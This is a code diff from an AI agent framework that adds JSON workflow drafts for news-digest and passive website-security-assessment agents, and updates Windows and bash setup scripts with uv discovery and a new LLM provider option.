],
"success_criteria": "",
"sub_agents": [],
"flowchart_type": "start",
"flowchart_shape": "stadium",
"flowchart_color": "#8aad3f"
},
{
"id": "research",
"name": "Research",
"description": "Scrape well-known tech news sites for recent articles and extract key information including titles, summaries, sources, and topics.",
"node_type": "event_loop",
"tools": [
"web_scrape"
],
"input_keys": [
"research_brief"
],
"output_keys": [
"articles_data"
],
"success_criteria": "",
"sub_agents": [],
"flowchart_type": "process",
"flowchart_shape": "rectangle",
"flowchart_color": "#b5a575"
},
{
"id": "compile-report",
"name": "Compile Report",
"description": "Organize the researched articles into a structured HTML report, save it, and deliver a clickable link to the user.",
"node_type": "event_loop",
"tools": [
"save_data",
"append_data",
"serve_file_to_user"
],
"input_keys": [
"articles_data"
],
"output_keys": [
"report_file"
],
"success_criteria": "",
"sub_agents": [],
"flowchart_type": "terminal",
"flowchart_shape": "stadium",
"flowchart_color": "#b5453a"
}
],
"edges": [
{
"id": "edge-0",
"source": "intake",
"target": "research",
"condition": "on_success",
"description": "",
"label": ""
},
{
"id": "edge-1",
"source": "research",
"target": "compile-report",
"condition": "on_success",
"description": "",
"label": ""
}
],
"entry_node": "intake",
"terminal_nodes": [
"compile-report"
],
"flowchart_legend": {
"start": {
"shape": "stadium",
"color": "#8aad3f"
},
"terminal": {
"shape": "stadium",
"color": "#b5453a"
},
"process": {
"shape": "rectangle",
"color": "#b5a575"
},
"decision": {
"shape": "diamond",
"color": "#d89d26"
},
"io": {
"shape": "parallelogram",
"color": "#d06818"
},
"document": {
"shape": "document",
"color": "#c4b830"
},
"database": {
"shape": "cylinder",
"color": "#508878"
},
"subprocess": {
"shape": "subroutine",
"color": "#887a48"
},
"browser": {
"shape": "hexagon",
"color": "#cc8850"
}
}
},
"flowchart_map": {
"intake": [
"intake"
],
"research": [
"research"
],
"compile-report": [
"compile-report"
]
}
}
@@ -0,0 +1,172 @@
{
"original_draft": {
"agent_name": "twitter_news_agent",
"goal": "Achieve an accurate and concise daily news digest based on Twitter feed monitoring.",
"description": "",
"success_criteria": [
"Navigate and extract tweets from at least 3 handles.",
"Provide a summary of the most important stories.",
"Maintain a persistent log of daily digests."
],
"constraints": [
"Respect rate limits and ethical web usage."
],
"nodes": [
{
"id": "fetch-tweets",
"name": "Fetch Tech Tweets",
"description": "Browser subagent to navigate to tech news Twitter profiles and extract latest tweets.",
"node_type": "gcu",
"tools": [],
"input_keys": [
"twitter_handles"
],
"output_keys": [
"raw_tweets"
],
"success_criteria": "",
"sub_agents": [],
"flowchart_type": "browser",
"flowchart_shape": "hexagon",
"flowchart_color": "#cc8850"
},
{
"id": "process-news",
"name": "Process Tech News",
"description": "Analyze and summarize the raw tweets into a daily tech digest.",
"node_type": "event_loop",
"tools": [
"save_data",
"load_data"
],
"input_keys": [
"user_request",
"feedback",
"raw_tweets"
],
"output_keys": [
"daily_digest"
],
"success_criteria": "A high-quality, tech-focused news summary.",
"sub_agents": [
"fetch-tweets"
],
"flowchart_type": "subprocess",
"flowchart_shape": "subroutine",
"flowchart_color": "#887a48"
},
{
"id": "review-digest",
"name": "Review Digest",
"description": "Present the news digest for user review and approval.",
"node_type": "event_loop",
"tools": [],
"input_keys": [
"daily_digest"
],
"output_keys": [
"status",
"feedback"
],
"success_criteria": "User has reviewed the digest and provided feedback or approval.",
"sub_agents": [],
"flowchart_type": "terminal",
"flowchart_shape": "stadium",
"flowchart_color": "#b5453a"
}
],
"edges": [
{
"id": "edge-0",
"source": "process-news",
"target": "review-digest",
"condition": "on_success",
"description": "",
"label": ""
},
{
"id": "edge-1",
"source": "review-digest",
"target": "process-news",
"condition": "conditional",
"description": "",
"label": ""
},
{
"id": "edge-2",
"source": "review-digest",
"target": "process-news",
"condition": "conditional",
"description": "",
"label": ""
},
{
"id": "edge-subagent-3",
"source": "process-news",
"target": "fetch-tweets",
"condition": "always",
"description": "sub-agent delegation",
"label": "delegate"
},
{
"id": "edge-subagent-4",
"source": "fetch-tweets",
"target": "process-news",
"condition": "always",
"description": "sub-agent report back",
"label": "report"
}
],
"entry_node": "process-news",
"terminal_nodes": [
"review-digest"
],
"flowchart_legend": {
"start": {
"shape": "stadium",
"color": "#8aad3f"
},
"terminal": {
"shape": "stadium",
"color": "#b5453a"
},
"process": {
"shape": "rectangle",
"color": "#b5a575"
},
"decision": {
"shape": "diamond",
"color": "#d89d26"
},
"io": {
"shape": "parallelogram",
"color": "#d06818"
},
"document": {
"shape": "document",
"color": "#c4b830"
},
"database": {
"shape": "cylinder",
"color": "#508878"
},
"subprocess": {
"shape": "subroutine",
"color": "#887a48"
},
"browser": {
"shape": "hexagon",
"color": "#cc8850"
}
}
},
"flowchart_map": {
"process-news": [
"process-news",
"fetch-tweets"
],
"review-digest": [
"review-digest"
]
}
}
@@ -0,0 +1,237 @@
{
"original_draft": {
"agent_name": "vulnerability_assessment",
"goal": "A passive, OSINT-based website vulnerability assessment agent that accepts a website domain, performs non-intrusive security scanning using purpose-built Python tools, produces letter-grade risk scores (A-F) per category, and delivers a structured vulnerability report with remediation guidance. The user is consulted after scanning to decide whether to investigate further or generate the final report.",
"description": "",
"success_criteria": [
"Overall risk grade (A-F) generated from combined scan results",
"At least 5 of 6 security categories scored (SSL/TLS, HTTP Headers, DNS, Network, Technology, Attack Surface)",
"At least 3 security findings identified across different categories",
"Every finding includes clear, actionable remediation steps a developer can follow",
"User is presented findings with risk grades and given checkpoint to continue deeper scanning or generate report"
],
"constraints": [
"Never execute active attacks, send exploit payloads, or perform actions that could trigger WAF/IDS systems. Passive and OSINT-based scanning only \u2014 no nmap, sqlmap, or attack payloads.",
"All findings and remediation steps must be written for developers using clear language, not security jargon"
],
"nodes": [
{
"id": "intake",
"name": "Intake",
"description": "Collect the target website domain from the user and confirm the scanning scope",
"node_type": "event_loop",
"tools": [],
"input_keys": [],
"output_keys": [
"target_domain"
],
"success_criteria": "",
"sub_agents": [],
"flowchart_type": "start",
"flowchart_shape": "stadium",
"flowchart_color": "#8aad3f"
},
{
"id": "passive-recon",
"name": "Passive Reconnaissance",
"description": "Run all 6 passive scanning tools against the target domain: SSL/TLS, HTTP headers, DNS security, port scanning, tech stack detection, and subdomain enumeration",
"node_type": "event_loop",
"tools": [
"ssl_tls_scan",
"http_headers_scan",
"dns_security_scan",
"port_scan",
"tech_stack_detect",
"subdomain_enumerate"
],
"input_keys": [
"target_domain",
"feedback"
],
"output_keys": [
"scan_results"
],
"success_criteria": "",
"sub_agents": [],
"flowchart_type": "process",
"flowchart_shape": "rectangle",
"flowchart_color": "#b5a575"
},
{
"id": "risk-scoring",
"name": "Risk Scoring",
"description": "Calculate weighted letter grades (A-F) per security category and overall risk score from scan results",
"node_type": "event_loop",
"tools": [
"risk_score"
],
"input_keys": [
"scan_results"
],
"output_keys": [
"risk_report"
],
"success_criteria": "",
"sub_agents": [],
"flowchart_type": "process",
"flowchart_shape": "rectangle",
"flowchart_color": "#b5a575"
},
{
"id": "findings-review",
"name": "Findings Review",
"description": "Present risk grades and security findings to the user, ask whether to continue deeper scanning or generate the final report",
"node_type": "event_loop",
"tools": [],
"input_keys": [
"scan_results",
"risk_report",
"target_domain"
],
"output_keys": [
"continue_scanning",
"feedback",
"all_findings"
],
"success_criteria": "",
"sub_agents": [],
"flowchart_type": "decision",
"flowchart_shape": "diamond",
"flowchart_color": "#d89d26"
},
{
"id": "final-report",
"name": "Risk Dashboard Report",
"description": "Generate an HTML risk dashboard with color-coded grades, category breakdown, detailed findings, and remediation steps",
"node_type": "event_loop",
"tools": [
"save_data",
"append_data",
"serve_file_to_user"
],
"input_keys": [
"all_findings",
"risk_report",
"target_domain"
],
"output_keys": [
"report_status"
],
"success_criteria": "",
"sub_agents": [],
"flowchart_type": "terminal",
"flowchart_shape": "stadium",
"flowchart_color": "#b5453a"
}
],
"edges": [
{
"id": "edge-0",
"source": "intake",
"target": "passive-recon",
"condition": "on_success",
"description": "",
"label": ""
},
{
"id": "edge-1",
"source": "passive-recon",
"target": "risk-scoring",
"condition": "on_success",
"description": "",
"label": ""
},
{
"id": "edge-2",
"source": "risk-scoring",
"target": "findings-review",
"condition": "on_success",
"description": "",
"label": ""
},
{
"id": "edge-3",
"source": "findings-review",
"target": "passive-recon",
"condition": "conditional",
"description": "",
"label": ""
},
{
"id": "edge-4",
"source": "findings-review",
"target": "final-report",
"condition": "conditional",
"description": "",
"label": ""
},
{
"id": "edge-5",
"source": "final-report",
"target": "intake",
"condition": "on_success",
"description": "",
"label": ""
}
],
"entry_node": "intake",
"terminal_nodes": [
"final-report"
],
"flowchart_legend": {
"start": {
"shape": "stadium",
"color": "#8aad3f"
},
"terminal": {
"shape": "stadium",
"color": "#b5453a"
},
"process": {
"shape": "rectangle",
"color": "#b5a575"
},
"decision": {
"shape": "diamond",
"color": "#d89d26"
},
"io": {
"shape": "parallelogram",
"color": "#d06818"
},
"document": {
"shape": "document",
"color": "#c4b830"
},
"database": {
"shape": "cylinder",
"color": "#508878"
},
"subprocess": {
"shape": "subroutine",
"color": "#887a48"
},
"browser": {
"shape": "hexagon",
"color": "#cc8850"
}
}
},
"flowchart_map": {
"intake": [
"intake"
],
"passive-recon": [
"passive-recon"
],
"risk-scoring": [
"risk-scoring"
],
"findings-review": [
"findings-review"
],
"final-report": [
"final-report"
]
}
}
+9 -10
View File
@@ -10,6 +10,9 @@
$ErrorActionPreference = "Stop"
$ScriptDir = Split-Path -Parent $MyInvocation.MyCommand.Definition
$UvHelperPath = Join-Path $ScriptDir "scripts\uv-discovery.ps1"
. $UvHelperPath
# ── Validate project directory ──────────────────────────────────────
@@ -30,16 +33,12 @@ if (-not (Test-Path (Join-Path $ScriptDir ".venv"))) {
# ── Ensure uv is available ──────────────────────────────────────────
if (-not (Get-Command uv -ErrorAction SilentlyContinue)) {
# Check default install location before giving up
$uvExe = Join-Path $env:USERPROFILE ".local\bin\uv.exe"
if (Test-Path $uvExe) {
$env:Path = (Split-Path $uvExe) + ";" + $env:Path
} else {
Write-Error "uv is not installed. Run .\quickstart.ps1 first."
exit 1
}
$uvInfo = Get-WorkingUvInfo
if (-not $uvInfo) {
Write-Error "uv is not installed or is not runnable. Run .\quickstart.ps1 first."
exit 1
}
$uvExe = $uvInfo.Path
# ── Load environment variables from Windows Registry ────────────────
# Windows stores User-level env vars in the registry. New terminal
@@ -80,4 +79,4 @@ if (-not $env:HIVE_CREDENTIAL_KEY) {
# ── Run the Hive CLI ────────────────────────────────────────────────
# PYTHONUTF8=1: use UTF-8 for default encoding (fixes charmap decode errors on Windows)
$env:PYTHONUTF8 = "1"
& uv run hive @args
& $uvExe run hive @args
+157 -56
View File
@@ -18,6 +18,13 @@
# Use "Continue" so stderr from external tools (uv, python) does not
# terminate the script. Errors are handled via $LASTEXITCODE checks.
$ErrorActionPreference = "Continue"
$ScriptDir = Split-Path -Parent $MyInvocation.MyCommand.Definition
$UvHelperPath = Join-Path $ScriptDir "scripts\uv-discovery.ps1"
# Hive LLM router endpoint
$HiveLlmEndpoint = "https://api.adenhq.com"
. $UvHelperPath
# ============================================================
# Colors / helpers
@@ -95,7 +102,6 @@ function Prompt-Choice {
}
}
# ============================================================
# Windows Defender Exclusion Functions
# ============================================================
@@ -276,9 +282,6 @@ function Add-DefenderExclusions {
}
}
# Get the directory where this script lives
$ScriptDir = Split-Path -Parent $MyInvocation.MyCommand.Definition
# ============================================================
# Banner
# ============================================================
@@ -352,10 +355,10 @@ Write-Host ""
# Check / install uv
# ============================================================
$uvCmd = Get-Command uv -ErrorAction SilentlyContinue
$uvInfo = Get-WorkingUvInfo
# If uv not in PATH, check if it exists in default location
if (-not $uvCmd) {
if (-not $uvInfo) {
$uvDir = Join-Path $env:USERPROFILE ".local\bin"
$uvExePath = Join-Path $uvDir "uv.exe"
@@ -371,16 +374,16 @@ if (-not $uvCmd) {
# Refresh PATH for current session
$env:Path = [System.Environment]::GetEnvironmentVariable("Path", "User") + ";" + [System.Environment]::GetEnvironmentVariable("Path", "Machine")
$uvCmd = Get-Command uv -ErrorAction SilentlyContinue
$uvInfo = Get-WorkingUvInfo
if ($uvCmd) {
if ($uvInfo) {
Write-Ok "uv is now in PATH"
}
}
}
# If still not found, install it
if (-not $uvCmd) {
if (-not $uvInfo) {
Write-Warn "uv not found. Installing..."
try {
# Official uv installer for Windows
@@ -397,13 +400,13 @@ if (-not $uvCmd) {
# Refresh PATH for current session
$env:Path = [System.Environment]::GetEnvironmentVariable("Path", "User") + ";" + [System.Environment]::GetEnvironmentVariable("Path", "Machine")
$uvCmd = Get-Command uv -ErrorAction SilentlyContinue
$uvInfo = Get-WorkingUvInfo
} catch {
Write-Color -Text "Error: uv installation failed" -Color Red
Write-Host "Please install uv manually from https://astral.sh/uv/"
exit 1
}
if (-not $uvCmd) {
if (-not $uvInfo) {
Write-Color -Text "Error: uv not found after installation" -Color Red
Write-Host "Please close and reopen PowerShell, then run this script again."
Write-Host "Or install uv manually from https://astral.sh/uv/"
@@ -412,8 +415,8 @@ if (-not $uvCmd) {
Write-Ok "uv installed successfully"
}
$uvVersion = & uv --version
Write-Ok "uv detected: $uvVersion"
$UvCmd = $uvInfo.Path
Write-Ok "uv detected: $($uvInfo.Version)"
Write-Host ""
# Check for Node.js (needed for frontend dashboard)
@@ -503,7 +506,7 @@ try {
if (Test-Path "pyproject.toml") {
Write-Host " Installing workspace packages... " -NoNewline
$syncOutput = & uv sync 2>&1
$syncOutput = & $UvCmd sync 2>&1
$syncExitCode = $LASTEXITCODE
if ($syncExitCode -eq 0) {
@@ -518,9 +521,9 @@ try {
exit 1
}
# Check for Chrome/Edge (required for GCU browser tools)
# Keep browser setup scoped to detecting the system browser used by GCU.
Write-Host " Checking for Chrome/Edge browser... " -NoNewline
$null = & uv run python -c "from gcu.browser.chrome_finder import find_chrome; assert find_chrome()" 2>&1
$null = & $UvCmd run python -c "from gcu.browser.chrome_finder import find_chrome; assert find_chrome()" 2>&1
$chromeCheckExit = $LASTEXITCODE
if ($chromeCheckExit -eq 0) {
Write-Ok "ok"
@@ -720,7 +723,7 @@ $imports = @(
$modulesToCheck = @("framework", "aden_tools", "litellm")
try {
$checkOutput = & uv run python scripts/check_requirements.py @modulesToCheck 2>&1 | Out-String
$checkOutput = & $UvCmd run python scripts/check_requirements.py @modulesToCheck 2>&1 | Out-String
$resultJson = $null
# Try to parse JSON result
@@ -764,14 +767,6 @@ if ($importErrors -gt 0) {
}
Write-Host ""
# ============================================================
# Step 4: Verify Claude Code Skills
# ============================================================
Write-Step -Number "4" -Text "Step 4: Verifying Claude Code skills..."
# (skills check is informational only, shown in final verification)
# ============================================================
# Provider / model data
# ============================================================
@@ -911,6 +906,11 @@ $kimiKey = [System.Environment]::GetEnvironmentVariable("KIMI_API_KEY", "User")
if (-not $kimiKey) { $kimiKey = $env:KIMI_API_KEY }
if ($kimiKey) { $KimiCredDetected = $true }
$HiveCredDetected = $false
$hiveKey = [System.Environment]::GetEnvironmentVariable("HIVE_API_KEY", "User")
if (-not $hiveKey) { $hiveKey = $env:HIVE_API_KEY }
if ($hiveKey) { $HiveCredDetected = $true }
# Detect API key providers
$ProviderMenuEnvVars = @("ANTHROPIC_API_KEY", "OPENAI_API_KEY", "GEMINI_API_KEY", "GROQ_API_KEY", "CEREBRAS_API_KEY")
$ProviderMenuNames = @("Anthropic (Claude) - Recommended", "OpenAI (GPT)", "Google Gemini - Free tier available", "Groq - Fast, free tier", "Cerebras - Fast, free tier")
@@ -941,6 +941,7 @@ if (Test-Path $HiveConfigFile) {
elseif ($prevLlm.use_kimi_code_subscription) { $PrevSubMode = "kimi_code" }
elseif ($prevLlm.api_base -and $prevLlm.api_base -like "*api.z.ai*") { $PrevSubMode = "zai_code" }
elseif ($prevLlm.api_base -and $prevLlm.api_base -like "*api.kimi.com*") { $PrevSubMode = "kimi_code" }
elseif ($prevLlm.provider -eq "hive" -or ($prevLlm.api_base -and $prevLlm.api_base -like "*adenhq.com*")) { $PrevSubMode = "hive_llm" }
}
} catch { }
}
@@ -954,6 +955,7 @@ if ($PrevSubMode -or $PrevProvider) {
"zai_code" { if ($ZaiCredDetected) { $prevCredValid = $true } }
"codex" { if ($CodexCredDetected) { $prevCredValid = $true } }
"kimi_code" { if ($KimiCredDetected) { $prevCredValid = $true } }
"hive_llm" { if ($HiveCredDetected) { $prevCredValid = $true } }
default {
if ($PrevEnvVar) {
$envVal = [System.Environment]::GetEnvironmentVariable($PrevEnvVar, "Process")
@@ -968,14 +970,15 @@ if ($PrevSubMode -or $PrevProvider) {
"zai_code" { $DefaultChoice = "2" }
"codex" { $DefaultChoice = "3" }
"kimi_code" { $DefaultChoice = "4" }
"hive_llm" { $DefaultChoice = "5" }
}
if (-not $DefaultChoice) {
switch ($PrevProvider) {
"anthropic" { $DefaultChoice = "5" }
"openai" { $DefaultChoice = "6" }
"gemini" { $DefaultChoice = "7" }
"groq" { $DefaultChoice = "8" }
"cerebras" { $DefaultChoice = "9" }
"anthropic" { $DefaultChoice = "6" }
"openai" { $DefaultChoice = "7" }
"gemini" { $DefaultChoice = "8" }
"groq" { $DefaultChoice = "9" }
"cerebras" { $DefaultChoice = "10" }
"kimi" { $DefaultChoice = "4" }
}
}
@@ -1015,12 +1018,19 @@ Write-Host ") Kimi Code Subscription " -NoNewline
Write-Color -Text "(use your Kimi Code plan)" -Color DarkGray -NoNewline
if ($KimiCredDetected) { Write-Color -Text " (credential detected)" -Color Green } else { Write-Host "" }
# 5) Hive LLM
Write-Host " " -NoNewline
Write-Color -Text "5" -Color Cyan -NoNewline
Write-Host ") Hive LLM " -NoNewline
Write-Color -Text "(use your Hive API key)" -Color DarkGray -NoNewline
if ($HiveCredDetected) { Write-Color -Text " (credential detected)" -Color Green } else { Write-Host "" }
Write-Host ""
Write-Color -Text " API key providers:" -Color Cyan
# 5-9) API key providers
# 6-10) API key providers
for ($idx = 0; $idx -lt $ProviderMenuEnvVars.Count; $idx++) {
$num = $idx + 5
$num = $idx + 6
$envVal = [System.Environment]::GetEnvironmentVariable($ProviderMenuEnvVars[$idx], "Process")
if (-not $envVal) { $envVal = [System.Environment]::GetEnvironmentVariable($ProviderMenuEnvVars[$idx], "User") }
Write-Host " " -NoNewline
@@ -1030,7 +1040,7 @@ for ($idx = 0; $idx -lt $ProviderMenuEnvVars.Count; $idx++) {
}
Write-Host " " -NoNewline
Write-Color -Text "10" -Color Cyan -NoNewline
Write-Color -Text "11" -Color Cyan -NoNewline
Write-Host ") Skip for now"
Write-Host ""
@@ -1041,16 +1051,16 @@ if ($DefaultChoice) {
while ($true) {
if ($DefaultChoice) {
$raw = Read-Host "Enter choice (1-10) [$DefaultChoice]"
$raw = Read-Host "Enter choice (1-11) [$DefaultChoice]"
if ([string]::IsNullOrWhiteSpace($raw)) { $raw = $DefaultChoice }
} else {
$raw = Read-Host "Enter choice (1-10)"
$raw = Read-Host "Enter choice (1-11)"
}
if ($raw -match '^\d+$') {
$num = [int]$raw
if ($num -ge 1 -and $num -le 10) { break }
if ($num -ge 1 -and $num -le 11) { break }
}
Write-Color -Text "Invalid choice. Please enter 1-10" -Color Red
Write-Color -Text "Invalid choice. Please enter 1-11" -Color Red
}
switch ($num) {
@@ -1091,7 +1101,7 @@ switch ($num) {
Write-Warn "Codex credentials not found. Starting OAuth login..."
Write-Host ""
try {
& uv run python (Join-Path $ScriptDir "core\codex_oauth.py") 2>&1
& $UvCmd run python (Join-Path $ScriptDir "core\codex_oauth.py") 2>&1
if ($LASTEXITCODE -eq 0) {
$CodexCredDetected = $true
} else {
@@ -1129,9 +1139,33 @@ switch ($num) {
Write-Ok "Using Kimi Code subscription"
Write-Color -Text " Model: kimi-k2.5 | API: api.kimi.com/coding" -Color DarkGray
}
{ $_ -ge 5 -and $_ -le 9 } {
5 {
# Hive LLM
$SubscriptionMode = "hive_llm"
$SelectedProviderId = "hive"
$SelectedEnvVar = "HIVE_API_KEY"
$SelectedMaxTokens = 32768
$SelectedMaxContextTokens = 120000
Write-Host ""
Write-Ok "Using Hive LLM"
Write-Host ""
Write-Host " Select a model:"
Write-Host " " -NoNewline; Write-Color -Text "1)" -Color Cyan -NoNewline; Write-Host " queen " -NoNewline; Write-Color -Text "(default - Hive flagship)" -Color DarkGray
Write-Host " " -NoNewline; Write-Color -Text "2)" -Color Cyan -NoNewline; Write-Host " kimi-2.5"
Write-Host " " -NoNewline; Write-Color -Text "3)" -Color Cyan -NoNewline; Write-Host " GLM-5"
Write-Host ""
$hiveModelChoice = Read-Host " Enter model choice (1-3) [1]"
if (-not $hiveModelChoice) { $hiveModelChoice = "1" }
switch ($hiveModelChoice) {
"2" { $SelectedModel = "kimi-2.5" }
"3" { $SelectedModel = "GLM-5" }
default { $SelectedModel = "queen" }
}
Write-Color -Text " Model: $SelectedModel | API: $HiveLlmEndpoint" -Color DarkGray
}
{ $_ -ge 6 -and $_ -le 10 } {
# API key providers
$provIdx = $num - 5
$provIdx = $num - 6
$SelectedEnvVar = $ProviderMenuEnvVars[$provIdx]
$SelectedProviderId = $ProviderMenuIds[$provIdx]
$providerName = $ProviderMenuNames[$provIdx] -replace ' - .*', '' # strip description
@@ -1164,7 +1198,7 @@ switch ($num) {
# Health check the new key
Write-Host " Verifying API key... " -NoNewline
try {
$hcResult = & uv run python (Join-Path $ScriptDir "scripts/check_llm_key.py") $SelectedProviderId $apiKey 2>$null
$hcResult = & $UvCmd run python (Join-Path $ScriptDir "scripts/check_llm_key.py") $SelectedProviderId $apiKey 2>$null
$hcJson = $hcResult | ConvertFrom-Json
if ($hcJson.valid -eq $true) {
Write-Color -Text "ok" -Color Green
@@ -1202,7 +1236,7 @@ switch ($num) {
}
}
}
10 {
11 {
Write-Host ""
Write-Warn "Skipped. An LLM API key is required to test and use worker agents."
Write-Host " Add your API key later by running:"
@@ -1239,7 +1273,7 @@ if ($SubscriptionMode -eq "zai_code") {
# Health check the new key
Write-Host " Verifying ZAI API key... " -NoNewline
try {
$hcResult = & uv run python (Join-Path $ScriptDir "scripts/check_llm_key.py") "zai" $apiKey "https://api.z.ai/api/coding/paas/v4" 2>$null
$hcResult = & $UvCmd run python (Join-Path $ScriptDir "scripts/check_llm_key.py") "zai" $apiKey "https://api.z.ai/api/coding/paas/v4" 2>$null
$hcJson = $hcResult | ConvertFrom-Json
if ($hcJson.valid -eq $true) {
Write-Color -Text "ok" -Color Green
@@ -1307,7 +1341,7 @@ if ($SubscriptionMode -eq "kimi_code") {
# Health check the new key
Write-Host " Verifying Kimi API key... " -NoNewline
try {
$hcResult = & uv run python (Join-Path $ScriptDir "scripts/check_llm_key.py") "kimi" $apiKey "https://api.kimi.com/coding" 2>$null
$hcResult = & $UvCmd run python (Join-Path $ScriptDir "scripts/check_llm_key.py") "kimi" $apiKey "https://api.kimi.com/coding" 2>$null
$hcJson = $hcResult | ConvertFrom-Json
if ($hcJson.valid -eq $true) {
Write-Color -Text "ok" -Color Green
@@ -1343,6 +1377,70 @@ if ($SubscriptionMode -eq "kimi_code") {
}
}
# For Hive LLM: prompt for API key with verification + retry
if ($SubscriptionMode -eq "hive_llm") {
while ($true) {
$existingHive = [System.Environment]::GetEnvironmentVariable("HIVE_API_KEY", "User")
if (-not $existingHive) { $existingHive = $env:HIVE_API_KEY }
if ($existingHive) {
$masked = $existingHive.Substring(0, [Math]::Min(4, $existingHive.Length)) + "..." + $existingHive.Substring([Math]::Max(0, $existingHive.Length - 4))
Write-Host ""
Write-Color -Text " $([char]0x2B22) Current Hive key: $masked" -Color Green
Write-Host ""
$apiKey = Read-Host "Paste a new Hive API key (or press Enter to keep current)"
} else {
Write-Host ""
Write-Host " Get your API key from: " -NoNewline
Write-Color -Text "https://discord.com/invite/hQdU7QDkgR" -Color Cyan
Write-Host ""
$apiKey = Read-Host "Paste your Hive API key (or press Enter to skip)"
}
if ($apiKey) {
[System.Environment]::SetEnvironmentVariable("HIVE_API_KEY", $apiKey, "User")
$env:HIVE_API_KEY = $apiKey
Write-Host ""
Write-Ok "Hive API key saved as User environment variable"
# Health check the new key
Write-Host " Verifying Hive API key... " -NoNewline
try {
$hcOutput = & $PythonCmd scripts/check_llm_key.py hive $apiKey "$HiveLlmEndpoint" 2>&1
$hcJson = $hcOutput | ConvertFrom-Json
if ($hcJson.valid -eq $true) {
Write-Color -Text "ok" -Color Green
break
} elseif ($hcJson.valid -eq $false) {
Write-Color -Text "failed" -Color Red
Write-Warn $hcJson.message
[System.Environment]::SetEnvironmentVariable("HIVE_API_KEY", $null, "User")
Remove-Item -Path "Env:\HIVE_API_KEY" -ErrorAction SilentlyContinue
Write-Host ""
Read-Host " Press Enter to try again"
} else {
Write-Color -Text "--" -Color Yellow
Write-Color -Text " Could not verify key (network issue). The key has been saved." -Color DarkGray
break
}
} catch {
Write-Color -Text "--" -Color Yellow
break
}
} elseif (-not $existingHive) {
Write-Host ""
Write-Warn "Skipped. Add your Hive API key later:"
Write-Color -Text " [System.Environment]::SetEnvironmentVariable('HIVE_API_KEY', 'your-key', 'User')" -Color Cyan
$SelectedEnvVar = ""
$SelectedProviderId = ""
$SubscriptionMode = ""
break
} else {
break
}
}
}
# Prompt for model if not already selected (manual provider path)
if ($SelectedProviderId -and -not $SelectedModel) {
$modelSel = Get-ModelSelection $SelectedProviderId
@@ -1383,6 +1481,9 @@ if ($SelectedProviderId) {
} elseif ($SubscriptionMode -eq "kimi_code") {
$config.llm["api_base"] = "https://api.kimi.com/coding"
$config.llm["api_key_env_var"] = $SelectedEnvVar
} elseif ($SubscriptionMode -eq "hive_llm") {
$config.llm["api_base"] = $HiveLlmEndpoint
$config.llm["api_key_env_var"] = $SelectedEnvVar
} else {
$config.llm["api_key_env_var"] = $SelectedEnvVar
}
@@ -1394,7 +1495,7 @@ if ($SelectedProviderId) {
Write-Host ""
# ============================================================
# Step 5b: Browser Automation (GCU) — always enabled
# Browser Automation (GCU) — always enabled
# ============================================================
Write-Host ""
@@ -1419,10 +1520,10 @@ if (Test-Path $HiveConfigFile) {
Write-Host ""
# ============================================================
# Step 6: Initialize Credential Store
# Step 4: Initialize Credential Store
# ============================================================
Write-Step -Number "5" -Text "Step 5: Initializing credential store..."
Write-Step -Number "4" -Text "Step 4: Initializing credential store..."
Write-Color -Text "The credential store encrypts API keys and secrets for your agents." -Color DarkGray
Write-Host ""
@@ -1459,7 +1560,7 @@ if ($credKey) {
} else {
Write-Host " Generating encryption key... " -NoNewline
try {
$generatedKey = & uv run python -c "from cryptography.fernet import Fernet; print(Fernet.generate_key().decode())" 2>$null
$generatedKey = & $UvCmd run python -c "from cryptography.fernet import Fernet; print(Fernet.generate_key().decode())" 2>$null
if ($LASTEXITCODE -eq 0 -and $generatedKey) {
Write-Ok "ok"
$generatedKey = $generatedKey.Trim()
@@ -1508,7 +1609,7 @@ if ($credKey) {
Write-Ok "Credential store initialized at ~/.hive/credentials/"
Write-Host " Verifying credential store... " -NoNewline
$verifyOut = & uv run python -c "from framework.credentials.storage import EncryptedFileStorage; storage = EncryptedFileStorage(); print('ok')" 2>$null
$verifyOut = & $UvCmd run python -c "from framework.credentials.storage import EncryptedFileStorage; storage = EncryptedFileStorage(); print('ok')" 2>$null
if ($verifyOut -match "ok") {
Write-Ok "ok"
} else {
@@ -1518,10 +1619,10 @@ if ($credKey) {
Write-Host ""
# ============================================================
# Step 6: Verify Setup
# Step 5: Verify Setup
# ============================================================
Write-Step -Number "6" -Text "Step 6: Verifying installation..."
Write-Step -Number "5" -Text "Step 5: Verifying installation..."
$verifyErrors = 0
@@ -1529,7 +1630,7 @@ $verifyErrors = 0
$verifyModules = @("framework", "aden_tools")
try {
$verifyOutput = & uv run python scripts/check_requirements.py @verifyModules 2>&1 | Out-String
$verifyOutput = & $UvCmd run python scripts/check_requirements.py @verifyModules 2>&1 | Out-String
$verifyJson = $null
try {
@@ -1539,7 +1640,7 @@ try {
# Fall back to basic checks if JSON parsing fails
foreach ($mod in $verifyModules) {
Write-Host " $([char]0x2B21) $mod... " -NoNewline
$null = & uv run python -c "import $mod" 2>&1
$null = & $UvCmd run python -c "import $mod" 2>&1
if ($LASTEXITCODE -eq 0) { Write-Ok "ok" }
else { Write-Fail "failed"; $verifyErrors++ }
}
@@ -1559,7 +1660,7 @@ try {
}
Write-Host " $([char]0x2B21) litellm... " -NoNewline
$null = & uv run python -c "import litellm" 2>&1
$null = & $UvCmd run python -c "import litellm" 2>&1
if ($LASTEXITCODE -eq 0) { Write-Ok "ok" } else { Write-Warn "skipped" }
Write-Host " $([char]0x2B21) MCP config... " -NoNewline
@@ -1625,10 +1726,10 @@ if ($verifyErrors -gt 0) {
}
# ============================================================
# Step 7: Install hive CLI wrapper
# Step 6: Install hive CLI wrapper
# ============================================================
Write-Step -Number "7" -Text "Step 7: Installing hive CLI..."
Write-Step -Number "6" -Text "Step 6: Installing hive CLI..."
# Verify hive.ps1 wrapper exists in project root
$hivePs1Path = Join-Path $ScriptDir "hive.ps1"
+75 -41
View File
@@ -32,6 +32,9 @@ NC='\033[0m' # No Color
# Get the directory where this script is located
SCRIPT_DIR="$( cd "$( dirname "${BASH_SOURCE[0]}" )" && pwd )"
# Hive LLM router endpoint
HIVE_LLM_ENDPOINT="https://api.adenhq.com"
# Helper function for prompts
prompt_yes_no() {
local prompt="$1"
@@ -300,18 +303,11 @@ if [ "$NODE_AVAILABLE" = true ]; then
echo ""
fi
# ============================================================
# Step 3: Configure LLM API Key
# ============================================================
echo -e "${YELLOW}${NC} ${BLUE}${BOLD}Step 3: Configuring LLM provider...${NC}"
echo ""
# ============================================================
# Step 3: Verify Python Imports
# ============================================================
echo -e "${BLUE}Step 3: Verifying Python imports...${NC}"
echo -e "${YELLOW}${NC} ${BLUE}${BOLD}Step 3: Verifying Python imports...${NC}"
echo ""
IMPORT_ERRORS=0
